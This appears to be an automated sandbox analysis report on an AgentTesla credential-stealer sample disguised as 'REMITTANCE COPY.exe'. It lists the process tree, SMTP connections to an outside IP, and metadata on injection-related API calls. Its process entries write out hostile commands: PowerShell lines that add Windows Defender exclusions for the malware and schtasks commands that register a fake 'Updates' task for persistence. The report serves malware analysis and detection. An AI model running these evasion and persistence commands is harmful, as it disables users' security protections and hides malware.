Apr 19, 2024 15:38:44.906992912 CEST	49707	587	192.168.2.5	135.181.124.14	QUIT
Apr 19, 2024 15:38:45.218017101 CEST	49707	587	192.168.2.5	135.181.124.14	QUIT
Apr 19, 2024 15:38:45.530556917 CEST	49707	587	192.168.2.5	135.181.124.14	QUIT
Apr 19, 2024 15:38:46.139906883 CEST	49707	587	192.168.2.5	135.181.124.14	QUIT
Apr 19, 2024 15:38:47.343096018 CEST	49707	587	192.168.2.5	135.181.124.14	QUIT
Apr 19, 2024 15:38:49.749281883 CEST	49707	587	192.168.2.5	135.181.124.14	QUIT
Apr 19, 2024 15:38:54.561737061 CEST	49707	587	192.168.2.5	135.181.124.14	QUIT

Target ID:	0
Start time:	15:36:55
Start date:	19/04/2024
Path:	C:\Users\user\Desktop\REMITTANCE COPY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\REMITTANCE COPY.exe"
Imagebase:	0x420000
File size:	1'034'752 bytes
MD5 hash:	A33320345206B3021EB274E26392B642
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2052332128.0000000003A75000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2052332128.0000000003A75000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:36:56
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REMITTANCE COPY.exe"
Imagebase:	0xc40000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:36:57
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:36:57
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe"
Imagebase:	0xc40000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:36:57
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:36:57
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CNqCubHKvlzbGo" /XML "C:\Users\user\AppData\Local\Temp\tmpEBC.tmp"
Imagebase:	0x390000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:36:57
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:36:58
Start date:	19/04/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xc90000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.2076423787.0000000002FC6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.2076423787.0000000002FC0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.2072537987.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.2072537987.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.2076423787.0000000002F94000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.2076423787.0000000002F94000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:37:00
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe
Imagebase:	0x830000
File size:	1'034'752 bytes
MD5 hash:	A33320345206B3021EB274E26392B642
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.2096737807.0000000003CC6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.2096737807.0000000003CC6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:37:00
Start date:	19/04/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:37:02
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CNqCubHKvlzbGo" /XML "C:\Users\user\AppData\Local\Temp\tmp20AE.tmp"
Imagebase:	0x390000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	15:37:02
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:37:02
Start date:	19/04/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xa40000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000D.00000002.3251502190.0000000002F64000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000D.00000002.3251502190.0000000002F5E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.3251502190.0000000002F32000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000D.00000002.3251502190.0000000002F32000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	10.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.1%
Total number of Nodes:	194
Total number of Limit Nodes:	8

Executed Functions

Function 0804CCF0 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058283180.0000000008040000.00000040.00000800.00020000.00000000.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8040000_REMITTANCE COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4088cc4f39cc7a4533f10418553447630c38826bba3bdf39ead2a041dda2c5f
Instruction ID: a1f688e7f1bf95c6ecb39d429b6bc37229d656762779177e8a96b4a7672af3f0
Opcode Fuzzy Hash: d4088cc4f39cc7a4533f10418553447630c38826bba3bdf39ead2a041dda2c5f
Instruction Fuzzy Hash: F36117B1D45619CBEB24CF6ACC407EDFBB6BF89301F0491AAD409A7251EB745A86CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00F3D0B8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00F3D136
GetCurrentThread.KERNEL32 ref: 00F3D173
GetCurrentProcess.KERNEL32 ref: 00F3D1B0
GetCurrentThreadId.KERNEL32 ref: 00F3D209

Memory Dump Source

Source File: 00000000.00000002.2051456670.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_REMITTANCE COPY.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 701160a2ba2aafb41d78ac18279d3269d26a1651d3976cb0b19df9ccf6ee8470
Instruction ID: 1ad29d6c39bd09279c7a2fc468d7c22e3844a037d0196b5da4e9f35cb383f9b3
Opcode Fuzzy Hash: 701160a2ba2aafb41d78ac18279d3269d26a1651d3976cb0b19df9ccf6ee8470
Instruction Fuzzy Hash: A55156B09003098FEB14DFAAD948B9EBBF1FF48324F208459E519A7361D774A944CF65

Uniqueness

Uniqueness Score: -1.00%

Function 08049544 Relevance: 1.7, APIs: 1, Instructions: 247
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 08049786

Memory Dump Source

Source File: 00000000.00000002.2058283180.0000000008040000.00000040.00000800.00020000.00000000.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8040000_REMITTANCE COPY.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 272498cd53403487bb33842d6d56349e07896169b9f6204e516c24e6f8fcd8fb
Instruction ID: 6e3a65d8c999acefe732281e2446a44c2fd3cdd93404460e1d1321607d872c24
Opcode Fuzzy Hash: 272498cd53403487bb33842d6d56349e07896169b9f6204e516c24e6f8fcd8fb
Instruction Fuzzy Hash: F1A14CB1D00219DFDB20CF69C845BEEBBF2AF44315F1481B9E819A7260DB749986CF91

Uniqueness

Uniqueness Score: -1.00%

Function 08049550 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 08049786

Memory Dump Source

Source File: 00000000.00000002.2058283180.0000000008040000.00000040.00000800.00020000.00000000.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8040000_REMITTANCE COPY.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: a421af763dbdcfd329d9e1767642251d24a289edf55439fa7a26f5b8131ddf01
Instruction ID: 77ec1096422429e2aa1481add7e369a3ab2af7a3f0d9089e177f4295d5879537
Opcode Fuzzy Hash: a421af763dbdcfd329d9e1767642251d24a289edf55439fa7a26f5b8131ddf01
Instruction Fuzzy Hash: 8D914CB1D00219DFDB20CF69C845BEEBBF2AF48315F148179E819A7260DB749986CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00F3590C Relevance: 1.6, APIs: 1, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00F359C9

Memory Dump Source

Source File: 00000000.00000002.2051456670.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_REMITTANCE COPY.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 6021d77f9999f33e0c060a2cf737a4527a447251a87a9bceb1a267cb89573c75
Instruction ID: 8132139cb5513acf552fb5947618ccf0b5d528c1d7cda43f6ac3acbe55431440
Opcode Fuzzy Hash: 6021d77f9999f33e0c060a2cf737a4527a447251a87a9bceb1a267cb89573c75
Instruction Fuzzy Hash: 5041EFB1C00619CFDB24CFA9C884BDDBBB5BF88724F20816AD408AB251DB75694ACF50

Uniqueness

Uniqueness Score: -1.00%

Function 00F3449C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00F359C9

Memory Dump Source

Source File: 00000000.00000002.2051456670.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_REMITTANCE COPY.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e38b7f3a437c23a4a2b471a5fea7e0f057e4d0949b06693929a9636e2c2967e4
Instruction ID: bd496aa65baaf9c4a5ac3d190fca26e17919dca570bbe7b4b63df846b4325dcc
Opcode Fuzzy Hash: e38b7f3a437c23a4a2b471a5fea7e0f057e4d0949b06693929a9636e2c2967e4
Instruction Fuzzy Hash: 9841DFB1C00B1DCBDB24DFA9C884B9DBBF5BF88724F20816AD408AB251DB756945DF90

Uniqueness

Uniqueness Score: -1.00%

Function 080492C0 Relevance: 1.6, APIs: 1, Instructions: 71
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 08049358

Memory Dump Source

Source File: 00000000.00000002.2058283180.0000000008040000.00000040.00000800.00020000.00000000.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8040000_REMITTANCE COPY.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 44d88b1bbde34c280f800b9f7125fb727ab28247cb2787f9352c414641d08294
Instruction ID: 83dbb57ba8a1307da598142b0ff52b4c89c5311b88f93a99bd8b0aaab5f3137f
Opcode Fuzzy Hash: 44d88b1bbde34c280f800b9f7125fb727ab28247cb2787f9352c414641d08294
Instruction Fuzzy Hash: DE2148B59002499FCB10CFA9C985BEEBFF5FF48310F14842AE919A7251C7749945DF60

Uniqueness

Uniqueness Score: -1.00%

Function 080492C8 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 08049358

Memory Dump Source

Source File: 00000000.00000002.2058283180.0000000008040000.00000040.00000800.00020000.00000000.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8040000_REMITTANCE COPY.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 153765c50257848f75fb39f2ae989ffd83168d84da4678d24227bf83372546b8
Instruction ID: 04da114d1a671b2c886e21f494f810ce8fe8b0af80c1f844933b76ef2d0e69a0
Opcode Fuzzy Hash: 153765c50257848f75fb39f2ae989ffd83168d84da4678d24227bf83372546b8
Instruction Fuzzy Hash: BF2127B59003099FCB10CFAAC985BDEBBF5FF48320F14842AE918A7251D7789955DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 08048CF0 Relevance: 1.6, APIs: 1, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 08048D76

Memory Dump Source

Source File: 00000000.00000002.2058283180.0000000008040000.00000040.00000800.00020000.00000000.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8040000_REMITTANCE COPY.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 7ad38e765329ecb975ae0f6f981c99917ab78db0d0056f5b636a37133201a658
Instruction ID: 097d50b02425e918010baefe9a90e6076564befafe7a32fe88dd7027682ef18b
Opcode Fuzzy Hash: 7ad38e765329ecb975ae0f6f981c99917ab78db0d0056f5b636a37133201a658
Instruction Fuzzy Hash: 2F2157B1D002098FDB10DFAAC8847EEBBF5EF48320F14842AD418A7241CB799945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 080493B1 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 08049438

Memory Dump Source

Source File: 00000000.00000002.2058283180.0000000008040000.00000040.00000800.00020000.00000000.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8040000_REMITTANCE COPY.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: d93dd4ecb34d27938431eb3d483da5e50b95c2eef58b730733e4798a92c1cc59
Instruction ID: 654bb180a105025e6a1b7788e43dc53d5b362a06f9c4b0a26338a0174a5d6068
Opcode Fuzzy Hash: d93dd4ecb34d27938431eb3d483da5e50b95c2eef58b730733e4798a92c1cc59
Instruction Fuzzy Hash: 322107B19002499FCB10CFA9C985AEEBBF5FF48310F54842DE519A7251C7749545DB60

Uniqueness

Uniqueness Score: -1.00%

Function 08048CF8 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 08048D76

Memory Dump Source

Source File: 00000000.00000002.2058283180.0000000008040000.00000040.00000800.00020000.00000000.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8040000_REMITTANCE COPY.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: bb5f6d288ef35cf90d7909d7a1a478e8ed7ba3ed2fd23df2f20b418cd2c8f13d
Instruction ID: 2a23e31292112afd5f7b6fc48615c90dd1556b9ceabd5c182163957cf2275f55
Opcode Fuzzy Hash: bb5f6d288ef35cf90d7909d7a1a478e8ed7ba3ed2fd23df2f20b418cd2c8f13d
Instruction Fuzzy Hash: 8A2138B1D002098FDB10DFAAC4857AEBBF5EF58320F14842AD419A7241CB789945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 080493B8 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 08049438

Memory Dump Source

Source File: 00000000.00000002.2058283180.0000000008040000.00000040.00000800.00020000.00000000.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8040000_REMITTANCE COPY.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: a4a90fc386486265eebb16cfba8003f7f2b0184fa68f0d0b77430e640b47bd59
Instruction ID: 3015570b4d3b6a5fe07718c692fbc357fb7e5ce4a1aa2b070ba9d9348de9ca86
Opcode Fuzzy Hash: a4a90fc386486265eebb16cfba8003f7f2b0184fa68f0d0b77430e640b47bd59
Instruction Fuzzy Hash: B92128B1D002499FCB10CFAAC984AEEFBF5FF48320F50842AE918A7250C7749941DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F3D300 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00F3D387

Memory Dump Source

Source File: 00000000.00000002.2051456670.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_REMITTANCE COPY.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 48182c7219ddd42239b53337f2adce413a775833fe6e41a6dc9a85a71ca0e808
Instruction ID: 7981e135caba5e3f36ea7beb633985b9543fb2e346667dd3bf7a8488f8392dc0
Opcode Fuzzy Hash: 48182c7219ddd42239b53337f2adce413a775833fe6e41a6dc9a85a71ca0e808
Instruction Fuzzy Hash: 9421E2B5D00208DFDB10CFAAD984ADEFBF8EB48320F14801AE918A3310C374A944DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 08049200 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 08049276

Memory Dump Source

Source File: 00000000.00000002.2058283180.0000000008040000.00000040.00000800.00020000.00000000.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8040000_REMITTANCE COPY.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 521c75da01abe2eea593920c16413b4f8402270a8d947ba6b24bbc2eafc16ecd
Instruction ID: 1ac88e31c7d403ccf784671b49e392e282810bfc95c37991056a9ab416ad67db
Opcode Fuzzy Hash: 521c75da01abe2eea593920c16413b4f8402270a8d947ba6b24bbc2eafc16ecd
Instruction Fuzzy Hash: C91136768002498FCF10DFA9C945AEEBFF5EB88320F148429D519A7250C7759545DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F3A870 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,00F3B101,00000800,00000000,00000000), ref: 00F3B312

Memory Dump Source

Source File: 00000000.00000002.2051456670.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_REMITTANCE COPY.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 827729719514eabf0d8fc09bac776306beccfbf2623d9ea60b237cc73bdae1a7
Instruction ID: fcbd28a637f3c680722ab27aa9ecfe92d6b6dec8938d3e7d6330f293a4750a14
Opcode Fuzzy Hash: 827729719514eabf0d8fc09bac776306beccfbf2623d9ea60b237cc73bdae1a7
Instruction Fuzzy Hash: 8E11F6B6D003499FDB10CF9AD444ADEFBF4EB88320F14852ED919A7211C375A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00F3B2A1 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,00F3B101,00000800,00000000,00000000), ref: 00F3B312

Memory Dump Source

Source File: 00000000.00000002.2051456670.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_REMITTANCE COPY.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 214bf97ca3a794f83c2288cff8d797da669729ba9783b6b39ee373fa58c6acd8
Instruction ID: 72aee17ec9308b3639cff90a24f926ffcb27483c6fdd0a833a79a623ab68b33c
Opcode Fuzzy Hash: 214bf97ca3a794f83c2288cff8d797da669729ba9783b6b39ee373fa58c6acd8
Instruction Fuzzy Hash: 6511F3B6D00249DFDB10DF9AC844ADEFBF4EB88320F14842ED929A7201C375A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 08049208 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 08049276

Memory Dump Source

Source File: 00000000.00000002.2058283180.0000000008040000.00000040.00000800.00020000.00000000.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8040000_REMITTANCE COPY.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 19bcfd4b48dab862cbb66d87e102badd1df63bfa0a21dfcd1317685e670f0fe9
Instruction ID: a9f163de191bcba9845f430bcfd48c9be92d41a7533cafab969d21720aebab99
Opcode Fuzzy Hash: 19bcfd4b48dab862cbb66d87e102badd1df63bfa0a21dfcd1317685e670f0fe9
Instruction Fuzzy Hash: B51126769002499FCB10DFAAC944ADFFFF5EF88320F148429E519A7250CB75A944DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 08048C42 Relevance: 1.6, APIs: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 08048CAA

Memory Dump Source

Source File: 00000000.00000002.2058283180.0000000008040000.00000040.00000800.00020000.00000000.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8040000_REMITTANCE COPY.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 6e63fbd3b660ba196df75df14822cbaeab1c0875da44c4654e1eae291f5ab10f
Instruction ID: a29fc9c171d155299d536f82bac9acc7cae0d8e2a8c91d653e5c2dfbf4bd452f
Opcode Fuzzy Hash: 6e63fbd3b660ba196df75df14822cbaeab1c0875da44c4654e1eae291f5ab10f
Instruction Fuzzy Hash: AD1146B1D002488ECB20DFAAC8857AEFBF5EF88324F248429C419A7240CA756945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 08048C48 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 08048CAA

Memory Dump Source

Source File: 00000000.00000002.2058283180.0000000008040000.00000040.00000800.00020000.00000000.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8040000_REMITTANCE COPY.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 318cc40841fda1944b916e07dd0ff8e93b44ee8ab0d912aa7d75f3181989288c
Instruction ID: 4dea0666aa8c2afe8e3e97ef222d948bc215b2af9dc2e58bb9fe8c7f3a5769b6
Opcode Fuzzy Hash: 318cc40841fda1944b916e07dd0ff8e93b44ee8ab0d912aa7d75f3181989288c
Instruction Fuzzy Hash: F3113AB1D002498FDB20DFAAC84579EFBF5EF88324F148429D519A7240CB756945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00F3B020 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00F3B086

Memory Dump Source

Source File: 00000000.00000002.2051456670.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_REMITTANCE COPY.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: f2cbe1cc3935fdc8575d66fff92bbb237e88762162422ccd4e37ca084c2cecf8
